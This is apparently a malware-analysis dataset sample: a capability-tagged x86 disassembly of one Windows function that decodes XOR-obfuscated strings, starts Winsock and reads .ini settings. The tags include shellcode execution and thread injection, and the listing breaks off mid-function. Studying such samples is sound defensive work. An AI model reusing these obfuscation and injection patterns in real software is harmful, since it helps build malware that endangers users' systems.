Function at 0x454d00
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Delete file
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Link many functions at runtime
Move file
Read .ini file
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f41e7
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x34b8
call fcn.005c8080
mov eax, dword [0x678dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x2b2c], eax
call fcn.0044d900
lea eax, [ebp - 0x2b28]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
call fcn.0046d040
add esp, 0xc
push 0
push 0
push 0
call fcn.0046d040
add esp, 0xc
push 0
push 0
push 0x200002
call fcn.0046d040
add esp, 0xc
mov dword [ebp - 0x2bd0], 0xdbf9afe5
lea eax, [ebp - 0x2bc0]
mov dword [ebp - 0x2bcc], 0xd7eda33c
lea ecx, [ebp - 0x2fb8]
mov dword [ebp - 0x2bc8], 0x63b7c0b7
mov dword [ebp - 0x2bc4], 0xba25490f
push eax
lea eax, [ebp - 0x2bd0]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2bd0]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2be0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x2fc0]
mov dword [ebp - 0x2be0], 0xe2c99ad7
mov dword [ebp - 0x2bdc], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2bd8], 0x6387f0e8
mov dword [ebp - 0x2bd4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2be0]
mov dword [ebp - 0x9a0], 0xdbf9afe5
push eax
lea eax, [ebp - 0x2bf0]
mov dword [ebp - 0x99c], 0xd7eda33c
push eax
lea ecx, [ebp - 0x2fc8]
mov dword [ebp - 0x2bf0], 0xdbf9afe5
mov dword [ebp - 0x2bec], 0xd7eda33c
mov dword [ebp - 0x998], 0x63b7c0b7
mov dword [ebp - 0x994], 0xba25490f
mov dword [ebp - 0x2be8], 0x63b7c0b7
mov dword [ebp - 0x2be4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x9a0]
lea eax, [ebp - 0x9a0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x1360]
push eax
movaps xmmword [ebp - 0x9a0], xmm1
call fcn.0045e6b0
push 0x66ed1f
lea ecx, [ebp - 0x988]
mov dword [ebp - 4], 0
call fcn.0045e6b0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2bf0]
push eax
mov dword [ebp - 0x2c00], 0x90acecf8
lea eax, [ebp - 0x2c00]
mov dword [ebp - 0x2bfc], 0x8db0fa7d
mov dword [ebp - 0x2bf8], 0x6387f0c7
mov dword [ebp - 0x2bf4], 0xba25490f
push eax
lea ecx, [ebp - 0x2fd0]
call fcn.0045f450
lea eax, [ebp - 0x2bb0]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2bc0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x2fd8]
mov dword [ebp - 0x2bc0], 0xe2c99ad7
mov dword [ebp - 0x2bbc], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2bb8], 0x6387f0e8
mov dword [ebp - 0x2bb4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2c10]
mov dword [ebp - 0xaf0], 0x90acecf8
push eax
lea eax, [ebp - 0x2c20]
mov dword [ebp - 0xaec], 0x8db0fa7d
push eax
lea ecx, [ebp - 0x2fe0]
mov dword [ebp - 0x2c20], 0x90acecf8
mov dword [ebp - 0x2c1c], 0x8db0fa7d
mov dword [ebp - 0xae8], 0x6387f0c7
mov dword [ebp - 0xae4], 0xba25490f
mov dword [ebp - 0x2c18], 0x6387f0c7
mov dword [ebp - 0x2c14], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xaf0]
lea eax, [ebp - 0xaf0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x1348]
push eax
movaps xmmword [ebp - 0xaf0], xmm1
call fcn.0045e6b0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x17b8]
push eax
lea eax, [ebp - 0x17d8]
mov dword [ebp - 0x17d8], 0x8ca6d9f8
push eax
lea ecx, [ebp - 0x34c8]
mov dword [ebp - 0x17d4], 0x96ade77d
mov dword [ebp - 0x17d0], 0x11e8848b
mov dword [ebp - 0x17cc], 0xd6492d21
mov dword [ebp - 0x17c8], 0x81dffb59
mov dword [ebp - 0x17c4], 0x8d84d620
mov dword [ebp - 0x17c0], 0x4ca9096a
mov dword [ebp - 0x17bc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1798]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x17b8]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x17b8], 0xe2c99ad7
mov dword [ebp - 0x17b4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x17b0], 0x6387f0e8
mov dword [ebp - 0x17ac], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x17a8], 0x81dffb59
mov dword [ebp - 0x17a4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x17a0], 0x4ca9096a
mov dword [ebp - 0x179c], 0xe14dbf41
call fcn.0045f450
mov dword [ebp - 0xdc0], 0x8ca6d9f8
mov dword [ebp - 0xdbc], 0x96ade77d
mov dword [ebp - 0x1798], 0x8ca6d9f8
mov dword [ebp - 0x1794], 0x96ade77d
mov dword [ebp - 0xdb8], 0x11e8848b
lea eax, [ebp - 0x1778]
mov dword [ebp - 0xdb4], 0xd6492d21
push eax
lea eax, [ebp - 0x1798]
mov dword [ebp - 0x1790], 0x11e8848b
push eax
lea ecx, [ebp - 0x34b8]
mov dword [ebp - 0x178c], 0xd6492d21
mov dword [ebp - 0xdb0], 0x81dffb59
mov dword [ebp - 0xdac], 0x8d84d620
mov dword [ebp - 0x1788], 0x81dffb59
mov dword [ebp - 0x1784], 0x8d84d620
mov dword [ebp - 0xda8], 0x4ca9096a
mov dword [ebp - 0xda4], 0xe14dbf41
mov dword [ebp - 0x1780], 0x4ca9096a
mov dword [ebp - 0x177c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xdc0]
lea eax, [ebp - 0xdc0]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x8e8]
movaps xmmword [ebp - 0xdc0], xmm1
movaps xmm1, xmmword [ebp - 0xdb0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xdb0], xmm1
call fcn.0045e6b0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1fa8]
push eax
lea eax, [ebp - 0x1fd8]
mov dword [ebp - 0x1fd8], 0xe2a69a9b
push eax
lea ecx, [ebp - 0x34b0]
mov dword [ebp - 0x1fd4], 0xe3bb936f
mov dword [ebp - 0x1fd0], 0x63f5f08d
mov dword [ebp - 0x1fcc], 0xba4a494c
mov dword [ebp - 0x1fc8], 0x81b9fb37
mov dword [ebp - 0x1fc4], 0x8de3d649
mov dword [ebp - 0x1fc0], 0x4cc00944
mov dword [ebp - 0x1fbc], 0xe124bf2f
mov dword [ebp - 0x1fb8], 0x7fb865fb
mov dword [ebp - 0x1fb4], 0xc417afd2
mov dword [ebp - 0x1fb0], 0x7d0df9c
mov dword [ebp - 0x1fac], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1bb8]
mov dword [ebp - 0x870], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1be8]
mov dword [ebp - 0x86c], 0xe3df930e
push eax
lea ecx, [ebp - 0x34a8]
mov dword [ebp - 0x1be8], 0xe2c99ad7
mov dword [ebp - 0x1be4], 0xe3df930e
mov dword [ebp - 0x868], 0x6387f0e8
mov dword [ebp - 0x864], 0xba25490f
mov dword [ebp - 0x1be0], 0x6387f0e8
mov dword [ebp - 0x1bdc], 0xba25490f
mov dword [ebp - 0x860], 0x81dffb59
mov dword [ebp - 0x85c], 0x8d84d620
mov dword [ebp - 0x1bd8], 0x81dffb59
mov dword [ebp - 0x1bd4], 0x8d84d620
mov dword [ebp - 0x858], 0x4ca9096a
mov dword [ebp - 0x854], 0xe14dbf41
mov dword [ebp - 0x1bd0], 0x4ca9096a
mov dword [ebp - 0x1bcc], 0xe14dbf41
mov dword [ebp - 0x850], 0x7fb865fb
mov dword [ebp - 0x84c], 0xc417afd2
mov dword [ebp - 0x1bc8], 0x7fb865fb
mov dword [ebp - 0x1bc4], 0xc417afd2
mov dword [ebp - 0x848], 0x7d0df9c
mov dword [ebp - 0x844], 0xed779233
mov dword [ebp - 0x1bc0], 0x7d0df9c
mov dword [ebp - 0x1bbc], 0xed779233
call fcn.0045f450
mov dword [ebp - 0xff0], 0xe2a69a9b
mov dword [ebp - 0xfec], 0xe3bb936f
mov dword [ebp - 0x1c18], 0xe2a69a9b
mov dword [ebp - 0x1c14], 0xe3bb936f
lea eax, [ebp - 0x1be8]
mov dword [ebp - 0xfe8], 0x63f5f08d
push eax
lea eax, [ebp - 0x1c18]
mov dword [ebp - 0xfe4], 0xba4a494c
push eax
lea ecx, [ebp - 0x34a0]
mov dword [ebp - 0x1c10], 0x63f5f08d
mov dword [ebp - 0x1c0c], 0xba4a494c
mov dword [ebp - 0xfe0], 0x81b9fb37
mov dword [ebp - 0xfdc], 0x8de3d649
mov dword [ebp - 0x1c08], 0x81b9fb37
mov dword [ebp - 0x1c04], 0x8de3d649
mov dword [ebp - 0xfd8], 0x4cc00944
mov dword [ebp - 0xfd4], 0xe124bf2f
mov dword [ebp - 0x1c00], 0x4cc00944
mov dword [ebp - 0x1bfc], 0xe124bf2f
mov dword [ebp - 0xfd0], 0x7fb865fb
mov dword [ebp - 0xfcc], 0xc417afd2
mov dword [ebp - 0x1bf8], 0x7fb865fb
mov dword [ebp - 0x1bf4], 0xc417afd2
mov dword [ebp - 0xfc8], 0x7d0df9c
mov dword [ebp - 0xfc4], 0xed779233
mov dword [ebp - 0x1bf0], 0x7d0df9c
mov dword [ebp - 0x1bec], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xff0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xff0], xmm1
movaps xmm1, xmmword [ebp - 0xfe0]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xfe0], xmm1
lea eax, [ebp - 0xff0]
movaps xmm1, xmmword [ebp - 0xfd0]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xfd0], xmm1
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [ebp - 0x1758]
mov dword [ebp - 0x1778], 0xe2a89a9b
push eax
lea eax, [ebp - 0x1778]
mov dword [ebp - 0x1774], 0xe3b89360
push eax
lea ecx, [ebp - 0x3498]
mov dword [ebp - 0x1770], 0x63e6f09d
mov dword [ebp - 0x176c], 0xba404968
mov dword [ebp - 0x1768], 0x81dffb59
mov dword [ebp - 0x1764], 0x8d84d620
mov dword [ebp - 0x1760], 0x4ca9096a
mov dword [ebp - 0x175c], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x1738]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1758]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3490]
mov dword [ebp - 0x1758], 0xe2c99ad7
mov dword [ebp - 0x1754], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x1750], 0x6387f0e8
mov dword [ebp - 0x174c], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x1748], 0x81dffb59
mov dword [ebp - 0x1744], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x1740], 0x4ca9096a
mov dword [ebp - 0x173c], 0xe14dbf41
call fcn.0045f450
mov dword [ebp - 0xde0], 0xe2a89a9b
mov dword [ebp - 0xddc], 0xe3b89360
mov dword [ebp - 0x1738], 0xe2a89a9b
lea eax, [ebp - 0x1718]
mov dword [ebp - 0x1734], 0xe3b89360
push eax
lea eax, [ebp - 0x1738]
mov dword [ebp - 0xdd8], 0x63e6f09d
push eax
lea ecx, [ebp - 0x3488]
mov dword [ebp - 0xdd4], 0xba404968
mov dword [ebp - 0x1730], 0x63e6f09d
mov dword [ebp - 0x172c], 0xba404968
mov dword [ebp - 0xdd0], 0x81dffb59
mov dword [ebp - 0xdcc], 0x8d84d620
mov dword [ebp - 0x1728], 0x81dffb59
mov dword [ebp - 0x1724], 0x8d84d620
mov dword [ebp - 0xdc8], 0x4ca9096a
mov dword [ebp - 0xdc4], 0xe14dbf41
mov dword [ebp - 0x1720], 0x4ca9096a
mov dword [ebp - 0x171c], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xde0]
lea eax, [ebp - 0x2c20]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3480]
movaps xmmword [ebp - 0xde0], xmm1
movaps xmm1, xmmword [ebp - 0xdd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c30]
movaps xmmword [ebp - 0xdd0], xmm1
push eax
mov dword [ebp - 0x2c30], 0xe2a69a94
mov dword [ebp - 0x2c2c], 0xe3b99360
mov dword [ebp - 0x2c28], 0x63e0f081
mov dword [ebp - 0x2c24], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2c30]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2c40]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3478]
mov dword [ebp - 0x2c40], 0xe2c99ad7
mov dword [ebp - 0x2c3c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2c38], 0x6387f0e8
mov dword [ebp - 0x2c34], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2c40]
mov dword [ebp - 0xa40], 0xe2a69a94
push eax
lea eax, [ebp - 0x2c50]
mov dword [ebp - 0xa3c], 0xe3b99360
push eax
lea ecx, [ebp - 0x3470]
mov dword [ebp - 0x2c50], 0xe2a69a94
mov dword [ebp - 0x2c4c], 0xe3b99360
mov dword [ebp - 0xa38], 0x63e0f081
mov dword [ebp - 0xa34], 0xba25490f
mov dword [ebp - 0x2c48], 0x63e0f081
mov dword [ebp - 0x2c44], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa40]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 0x3e7
lea eax, [ebp - 0xde0]
movaps xmmword [ebp - 0xa40], xmm1
push eax
lea eax, [ebp - 0xa40]
push eax
call esi
mov edi, eax
mov dword [ebp - 0x1718], 0xe2bb9a83
mov dword [ebp - 0x1714], 0xe39c9377
mov dword [ebp - 0x1710], 0x63f2f087
mov dword [ebp - 0x170c], 0xba514961
mov dword [ebp - 0x1708], 0x81dffb59
lea eax, [ebp - 0x16f8]
mov dword [ebp - 0x1704], 0x8d84d620
push eax
lea eax, [ebp - 0x1718]
mov dword [ebp - 0x1700], 0x4ca9096a
push eax
lea ecx, [ebp - 0x3468]
mov dword [ebp - 0x16fc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x16d8]
mov dword [ebp - 0x860], 0xe2c99ad7
push eax
lea eax, [ebp - 0x16f8]
mov dword [ebp - 0x85c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3460]
mov dword [ebp - 0x16f8], 0xe2c99ad7
mov dword [ebp - 0x16f4], 0xe3df930e
mov dword [ebp - 0x858], 0x6387f0e8
mov dword [ebp - 0x854], 0xba25490f
mov dword [ebp - 0x16f0], 0x6387f0e8
mov dword [ebp - 0x16ec], 0xba25490f
mov dword [ebp - 0x850], 0x81dffb59
mov dword [ebp - 0x84c], 0x8d84d620
mov dword [ebp - 0x16e8], 0x81dffb59
mov dword [ebp - 0x16e4], 0x8d84d620
mov dword [ebp - 0x848], 0x4ca9096a
mov dword [ebp - 0x844], 0xe14dbf41
mov dword [ebp - 0x16e0], 0x4ca9096a
mov dword [ebp - 0x16dc], 0xe14dbf41
call fcn.0045f450
lea eax, [ebp - 0x16b8]
mov dword [ebp - 0xe00], 0xe2bb9a83
push eax
lea eax, [ebp - 0x16d8]
mov dword [ebp - 0xdfc], 0xe39c9377
push eax
lea ecx, [ebp - 0x3458]
mov dword [ebp - 0x16d8], 0xe2bb9a83
mov dword [ebp - 0x16d4], 0xe39c9377
mov dword [ebp - 0xdf8], 0x63f2f087
mov dword [ebp - 0xdf4], 0xba514961
mov dword [ebp - 0x16d0], 0x63f2f087
mov dword [ebp - 0x16cc], 0xba514961
mov dword [ebp - 0xdf0], 0x81dffb59
mov dword [ebp - 0xdec], 0x8d84d620
mov dword [ebp - 0x16c8], 0x81dffb59
mov dword [ebp - 0x16c4], 0x8d84d620
mov dword [ebp - 0xde8], 0x4ca9096a
mov dword [ebp - 0xde4], 0xe14dbf41
mov dword [ebp - 0x16c0], 0x4ca9096a
mov dword [ebp - 0x16bc], 0xe14dbf41
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xe00]
lea eax, [ebp - 0x2c50]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3450]
movaps xmmword [ebp - 0xe00], xmm1
movaps xmm1, xmmword [ebp - 0xdf0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c60]
movaps xmmword [ebp - 0xdf0], xmm1
push eax
mov dword [ebp - 0x2c60], 0xe29d9a85
mov dword [ebp - 0x2c5c], 0xe3df930e
mov dword [ebp - 0x2c58], 0x6387f0e8
mov dword [ebp - 0x2c54], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2c60]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2c70]
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x2c70], 0xe2c99ad7
mov dword [ebp - 0x2c6c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2c68], 0x6387f0e8
mov dword [ebp - 0x2c64], 0xba25490f
push eax
lea ecx, [ebp - 0x3448]
call fcn.0045f450
lea eax, [ebp - 0x2c70]
mov dword [ebp - 0xae0], 0xe29d9a85
push eax
lea eax, [ebp - 0x2c80]
mov dword [ebp - 0xadc], 0xe3df930e
push eax
lea ecx, [ebp - 0x3440]
mov dword [ebp - 0x2c80], 0xe29d9a85
mov dword [ebp - 0x2c7c], 0xe3df930e
mov dword [ebp - 0xad8], 0x6387f0e8
mov dword [ebp - 0xad4], 0xba25490f
mov dword [ebp - 0x2c78], 0x6387f0e8
mov dword [ebp - 0x2c74], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xae0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
lea eax, [ebp - 0xe00]
movaps xmmword [ebp - 0xae0], xmm1
push eax
lea eax, [ebp - 0xae0]
push eax
call esi
mov dword [ebp - 0x2b38], eax
cmp edi, 0x3e7
jne 0x456183
lea eax, [ebp - 0x1c18]
mov dword [ebp - 0x1c48], 0x83acf687
push eax
lea eax, [ebp - 0x1c48]
mov dword [ebp - 0x1c44], 0x80fff67d
push eax
lea ecx, [ebp - 0x3438]
mov dword [ebp - 0x1c40], 0x10e89f80
mov dword [ebp - 0x1c3c], 0xdb49696a
mov dword [ebp - 0x1c38], 0xe0aa9c37
mov dword [ebp - 0x1c34], 0xfba4b347
mov dword [ebp - 0x1c30], 0x25da7b0f
mov dword [ebp - 0x1c2c], 0xc177d12e
mov dword [ebp - 0x1c28], 0x7fb865fb
mov dword [ebp - 0x1c24], 0xc417afd2
mov dword [ebp - 0x1c20], 0x7d0df9c
mov dword [ebp - 0x1c1c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1c78]
mov dword [ebp - 0x870], 0xe2c99ad7
push eax
lea eax, [ebp - 0x1ca8]
mov dword [ebp - 0x86c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3430]
mov dword [ebp - 0x1ca8], 0xe2c99ad7
mov dword [ebp - 0x1ca4], 0xe3df930e
mov dword [ebp - 0x868], 0x6387f0e8
mov dword [ebp - 0x864], 0xba25490f
mov dword [ebp - 0x1ca0], 0x6387f0e8
mov dword [ebp - 0x1c9c], 0xba25490f
mov dword [ebp - 0x860], 0x81dffb59
mov dword [ebp - 0x85c], 0x8d84d620
mov dword [ebp - 0x1c98], 0x81dffb59
mov dword [ebp - 0x1c94], 0x8d84d620
mov dword [ebp - 0x858], 0x4ca9096a
mov dword [ebp - 0x854], 0xe14dbf41
mov dword [ebp - 0x1c90], 0x4ca9096a
mov dword [ebp - 0x1c8c], 0xe14dbf41
mov dword [ebp - 0x850], 0x7fb865fb
mov dword [ebp - 0x84c], 0xc417afd2
mov dword [ebp - 0x1c88], 0x7fb865fb
mov dword [ebp - 0x1c84], 0xc417afd2
mov dword [ebp - 0x848], 0x7d0df9c
mov dword [ebp - 0x844], 0xed779233
mov dword [ebp - 0x1c80], 0x7d0df9c
mov dword [ebp - 0x1c7c], 0xed779233
call fcn.0045f450
lea eax, [ebp - 0x1d08]
mov dword [ebp - 0xfc0], 0x83acf687
push eax
lea eax, [ebp - 0x1d38]
mov dword [ebp - 0xfbc], 0x80fff67d
push eax
lea ecx, [ebp - 0x3428]
mov dword [ebp - 0x1d38], 0x83acf687
mov dword [ebp - 0x1d34], 0x80fff67d
mov dword [ebp - 0xfb8], 0x10e89f80
mov dword [ebp - 0xfb4], 0xdb49696a
mov dword [ebp - 0x1d30], 0x10e89f80
mov dword [ebp - 0x1d2c], 0xdb49696a
mov dword [ebp - 0xfb0], 0xe0aa9c37
mov dword [ebp - 0xfac], 0xfba4b347
mov dword [ebp - 0x1d28], 0xe0aa9c37
mov dword [ebp - 0x1d24], 0xfba4b347
mov dword [ebp - 0xfa8], 0x25da7b0f
mov dword [ebp - 0xfa4], 0xc177d12e
mov dword [ebp - 0x1d20], 0x25da7b0f
mov dword [ebp - 0x1d1c], 0xc177d12e
mov dword [ebp - 0xfa0], 0x7fb865fb
mov dword [ebp - 0xf9c], 0xc417afd2
mov dword [ebp - 0x1d18], 0x7fb865fb
mov dword [ebp - 0x1d14], 0xc417afd2
mov dword [ebp - 0xf98], 0x7d0df9c
mov dword [ebp - 0xf94], 0xed779233
mov dword [ebp - 0x1d10], 0x7d0df9c
mov dword [ebp - 0x1d0c], 0xed779233
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x870]
pxor xmm1, xmmword [ebp - 0xfc0]
movaps xmmword [ebp - 0xfc0], xmm1
movaps xmm1, xmmword [ebp - 0x860]
lea edx, [ebp - 0xfc0]
pxor xmm1, xmmword [ebp - 0xfb0]
mov ecx, 0x67ce28
movaps xmmword [ebp - 0xfb0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xfa0]
movaps xmmword [ebp - 0xfa0], xmm1
call fcn.00460730
push fcn.00460b00
mov ecx, eax
call fcn.0045df70
lea eax, [ebp - 0x2c80]
mov dword [ebp - 0x2c90], 0xc2f3abf7
push eax
lea eax, [ebp - 0x2c90]
mov dword [ebp - 0x2c8c], 0x8dbafa5a
push eax
lea ecx, [ebp - 0x3420]
mov dword [ebp - 0x2c88], 0xad1d08f
mov dword [ebp - 0x2c84], 0xba053d6a
call fcn.0045f450
lea eax, [ebp - 0x2c90]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 0x84c], 0xe3df930e
push eax
lea ecx, [ebp - 0x3418]
mov dword [ebp - 0x2ca0], 0xe2c99ad7
mov dword [ebp - 0x2c9c], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2c98], 0x6387f0e8
mov dword [ebp - 0x2c94], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 0xa80], 0xc2f3abf7
push eax
lea eax, [ebp - 0x2cb0]
mov dword [ebp - 0xa7c], 0x8dbafa5a
push eax
lea ecx, [ebp - 0x3410]
mov dword [ebp - 0x2cb0], 0xc2f3abf7
mov dword [ebp - 0x2cac], 0x8dbafa5a
mov dword [ebp - 0xa78], 0xad1d08f
mov dword [ebp - 0xa74], 0xba053d6a
mov dword [ebp - 0x2ca8], 0xad1d08f
mov dword [ebp - 0x2ca4], 0xba053d6a
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xa80]
lea edx, [ebp - 0xa80]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67ce28
movaps xmmword [ebp - 0xa80], xmm1
call fcn.00460730
push fcn.00460b00
mov ecx, eax
call fcn.0045df70
lea eax, [ebp - 0x2cb0]
mov dword [ebp - 0x2cc0], 0xc2f3a8f7
push eax
lea eax, [ebp - 0x2cc0]
mov dword [ebp - 0x2cbc], 0x8fb8fd4b
push eax
lea ecx, [ebp - 0x3408]
mov dword [ebp - 0x2cb8], 0x43ef8381
mov dword [ebp - 0x2cb4], 0xba25490f
call fcn.0045f450
lea eax, [ebp - 0x2cc0]
mov dword [ebp - 0x850], 0xe2c99ad7
push eax
lea eax, [ebp - 0x2cd0]
mov dword [ebp - 0x84c], 0xe3df930e
mov dword [ebp - 0x2cd0], 0xe2c99ad7
mov dword [ebp - 0x2ccc], 0xe3df930e
mov dword [ebp - 0x848], 0x6387f0e8
mov dword [ebp - 0x844], 0xba25490f
mov dword [ebp - 0x2cc8], 0x6387f0e8
mov dword [ebp - 0x2cc4], 0xba25490f
push eax
lea ecx, [ebp - 0x3400]
call fcn.0045f450
lea eax, [ebp - 0x2cd0]
mov dword [ebp - 0xa70], 0xc2f3a8f7
push eax
lea eax, [ebp - 0x2ce0]
mov dword [ebp - 0xa6c], 0x8fb8fd4b
push eax
lea ecx, [ebp - 0x33f8]
mov dword [ebp - 0x2ce0], 0xc2f3a8f7
mov dword [ebp - 0x2cdc], 0x8fb8fd4b
mov dword [ebp - 0xa68], 0x43ef8381
mov dword [ebp - 0xa64], 0xba25490f
mov dword [ebp - 0x2cd8], 0x43ef8381
mov dword [ebp - 0x2cd4], 0xba25490f
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea edx, [ebp - 0xa70]
pxor xmm1, xmmword [ebp - 0xa70]
mov ecx, 0x67ce28
movaps xmmword [ebp - 0xa70], xmm1
call fcn.00460730
push fcn.00460b00
mov ecx, eax
call fcn.0045df70
jmp 0x4562e0
cmp edi, 1
je 0x456378
cmp edi, 2
je 0x456378
mov dword [ebp - 0xf90], 0x83bff49e
lea edx, [ebp - 0xf90]
mov dword [ebp - 0xf8c], 0xc3bbfa62
mov ecx, 0x67ce28
mov dword [ebp - 0xf88], 0x4e99184
mov dword [ebp - 0xf84], 0xdf42287a
mov dword [ebp - 0xf80], 0xedafdb75
mov dword [ebp - 0xf7c], 0xe8f7b745
mov dword [ebp - 0xf78], 0x20cc7a4a
mov dword [ebp - 0xf74], 0xc139dc24
mov dword [ebp - 0xf70], 0x16d9029a
mov dword [ebp - 0xf6c], 0xc41781bc
mov dword [ebp - 0xf68], 0x7d0df9c
mov dword [ebp - 0xf64], 0xed779233
mov dword [ebp - 0x8a0], 0xe2c99ad7
mov dword [ebp - 0x89c], 0xe3df930e
mov dword [ebp - 0x898], 0x6387f0e8
mov dword [ebp - 0x894], 0xba25490f
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0xf90]
movaps xmmword [ebp - 0xf90], xmm1
mov dword [ebp - 0x890], 0x81dffb59
mov dword [ebp - 0x88c], 0x8d84d620
mov dword [ebp - 0x888], 0x4ca9096a
mov dword [ebp - 0x884], 0xe14dbf41
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0xf80]
movaps xmmword [ebp - 0xf80], xmm1
mov dword [ebp - 0x880], 0x7fb865fb
mov dword [ebp - 0x87c], 0xc417afd2
mov dword [ebp - 0x878], 0x7d0df9c
mov dword [ebp - 0x874], 0xed779233
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf70]
movaps xmmword [ebp - 0xf70], xmm1
call fcn.00460730
push eax
call fcn.00460b00
add esp, 4
mov dword [ebp - 0xa60], 0x90bcf58e
lea edx, [ebp - 0xa60]
